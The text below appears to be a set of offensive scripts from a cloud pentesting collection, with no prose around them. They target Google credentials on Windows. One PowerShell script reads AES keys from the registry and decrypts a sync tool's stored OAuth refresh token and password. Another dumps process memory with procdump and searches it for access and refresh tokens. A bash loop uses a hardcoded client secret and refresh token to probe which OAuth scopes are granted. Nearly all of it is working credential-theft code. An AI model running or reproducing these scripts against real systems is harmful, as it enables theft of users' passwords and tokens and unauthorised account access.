# Paths and key names
$xmlConfigPath = "C:\Users\c\Documents\conf.xml"
$regPath = "SOFTWARE\JavaSoft\Prefs\com\google\usersyncapp\util"
$ivKeyName = "/Encryption/Policy/V2.iv"
$keyKeyName = "/Encryption/Policy/V2.key"

# Open the registry key
try {
$regKey = [Microsoft.Win32.Registry]::CurrentUser.OpenSubKey($regPath)
if (-not $regKey) {
Throw "Registry key not found: HKCU\$regPath"
}
}
catch {
Write-Error "Failed to open registry key: $_"
exit
}

# Get Base64-encoded IV and Key from the registry
try {
$ivBase64 = $regKey.GetValue($ivKeyName)
$ivBase64 = $ivBase64 -replace '/', ''
$ivBase64 = $ivBase64 -replace '\\', '/'
if (-not $ivBase64) {
Throw "IV not found in registry"
}
$keyBase64 = $regKey.GetValue($keyKeyName)
$keyBase64 = $keyBase64 -replace '/', ''
$keyBase64 = $keyBase64 -replace '\\', '/'
if (-not $keyBase64) {
Throw "Key not found in registry"
}
}
catch {
Write-Error "Failed to read registry values: $_"
exit
}
$regKey.Close()


# Decode Base64 IV and Key
$ivBytes = [Convert]::FromBase64String($ivBase64)
$keyBytes = [Convert]::FromBase64String($keyBase64)

# Read XML content
$xmlContent = Get-Content -Path $xmlConfigPath -Raw

# Extract Base64-encoded encrypted values using regex
$refreshTokenMatch = [regex]::Match($xmlContent, "<oAuth2RefreshToken>(.*?)</oAuth2RefreshToken>")
$refreshTokenBase64 = $refreshTokenMatch.Groups[1].Value

$encryptedPasswordMatch = [regex]::Match($xmlContent, "<authCredentialsEncrypted>(.*?)</authCredentialsEncrypted>")
$encryptedPasswordBase64 = $encryptedPasswordMatch.Groups[1].Value

# Decode encrypted values from Base64
$refreshTokenEncryptedBytes = [Convert]::FromBase64String($refreshTokenBase64)
$encryptedPasswordBytes = [Convert]::FromBase64String($encryptedPasswordBase64)

# Function to decrypt data using AES CBC
Function Decrypt-Data($cipherBytes, $keyBytes, $ivBytes) {
$aes = [System.Security.Cryptography.Aes]::Create()
$aes.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aes.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
$aes.KeySize = 256
$aes.BlockSize = 128
$aes.Key = $keyBytes
$aes.IV = $ivBytes

$decryptor = $aes.CreateDecryptor()
$memoryStream = New-Object System.IO.MemoryStream
$cryptoStream = New-Object System.Security.Cryptography.CryptoStream($memoryStream, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Write)
$cryptoStream.Write($cipherBytes, 0, $cipherBytes.Length)
$cryptoStream.FlushFinalBlock()
$plaintextBytes = $memoryStream.ToArray()

$cryptoStream.Close()
$memoryStream.Close()

return $plaintextBytes
}

# Decrypt the values
$refreshTokenBytes = Decrypt-Data -cipherBytes $refreshTokenEncryptedBytes -keyBytes $keyBytes -ivBytes $ivBytes
$refreshToken = [System.Text.Encoding]::UTF8.GetString($refreshTokenBytes)

$decryptedPasswordBytes = Decrypt-Data -cipherBytes $encryptedPasswordBytes -keyBytes $keyBytes -ivBytes $ivBytes
$decryptedPassword = [System.Text.Encoding]::UTF8.GetString($decryptedPasswordBytes)

# Output the decrypted values
Write-Host "Decrypted Refresh Token: $refreshToken"
Write-Host "Decrypted Password: $decryptedPassword"

# Define paths for Procdump and Strings utilities
$procdumpPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\procdump.exe"
$stringsPath = "C:\Users\carlos_hacktricks\Desktop\SysinternalsSuite\strings.exe"
$dumpFolder = "C:\Users\Public\dumps"

# Regular expressions for tokens
$tokenRegexes = @(
"ya29\.[a-zA-Z0-9_\.\-]{50,}",
"1//[a-zA-Z0-9_\.\-]{50,}"
)

# Create a directory for the dumps if it doesn't exist
if (!(Test-Path $dumpFolder)) {
New-Item -Path $dumpFolder -ItemType Directory
}

# Get all Chrome process IDs
$chromeProcesses = Get-Process -Name "config-manager" -ErrorAction SilentlyContinue | Select-Object -ExpandProperty Id

# Dump each Chrome process
foreach ($processId in $chromeProcesses) {
Write-Output "Dumping process with PID: $processId"
& $procdumpPath -accepteula -ma $processId "$dumpFolder\chrome_$processId.dmp"
}

# Extract strings and search for tokens in each dump
Get-ChildItem $dumpFolder -Filter "*.dmp" | ForEach-Object {
$dumpFile = $_.FullName
$baseName = $_.BaseName
$asciiStringsFile = "$dumpFolder\${baseName}_ascii_strings.txt"
$unicodeStringsFile = "$dumpFolder\${baseName}_unicode_strings.txt"

Write-Output "Extracting strings from $dumpFile"
& $stringsPath -accepteula -n 50 -nobanner $dumpFile > $asciiStringsFile
& $stringsPath -accepteula -n 50 -nobanner -u $dumpFile > $unicodeStringsFile

$outputFiles = @($asciiStringsFile, $unicodeStringsFile)

foreach ($file in $outputFiles) {
foreach ($regex in $tokenRegexes) {

$matches = Select-String -Path $file -Pattern $regex -AllMatches

$uniqueMatches = @{}

foreach ($matchInfo in $matches) {
foreach ($match in $matchInfo.Matches) {
$matchValue = $match.Value
if (-not $uniqueMatches.ContainsKey($matchValue)) {
$uniqueMatches[$matchValue] = @{
LineNumber = $matchInfo.LineNumber
LineText   = $matchInfo.Line.Trim()
FilePath   = $matchInfo.Path
}
}
}
}

foreach ($matchValue in $uniqueMatches.Keys) {
$info = $uniqueMatches[$matchValue]
Write-Output "Match found in file '$($info.FilePath)' on line $($info.LineNumber): $($info.LineText)"
}
}

Write-Output ""
}
}

Remove-Item -Path $dumpFolder -Recurse -Force

curl "https://developers.google.com/identity/protocols/oauth2/scopes" | grep -oE 'https://www.googleapis.com/auth/[a-zA-Z/\._\-]*' | sort -u | while read -r scope; do
echo -ne "Testing $scope           \r"
if ! curl -s --data "client_id=118556098869.apps.googleusercontent.com" \
--data "client_secret=Co-LoSjkPcQXD9EjJzWQcgpy" \
--data "grant_type=refresh_token" \
--data "refresh_token=1//03PR0VQOSCjS1CgYIARAAGAMSNwF-L9Ir5b_vOaCmnXzla0nL7dX7TJJwFcvrfgDPWI-j19Z4luLpYfLyv7miQyvgyXjGEXt-t0A" \
--data "scope=$scope" \
https://www.googleapis.com/oauth2/v4/token 2>&1 | grep -q "error_description"; then
echo ""
echo $scope
echo $scope >> /tmp/valid_scopes.txt
fi
done

echo ""
echo ""
echo "Valid scopes:"
cat /tmp/valid_scopes.txt
rm /tmp/valid_scopes.txt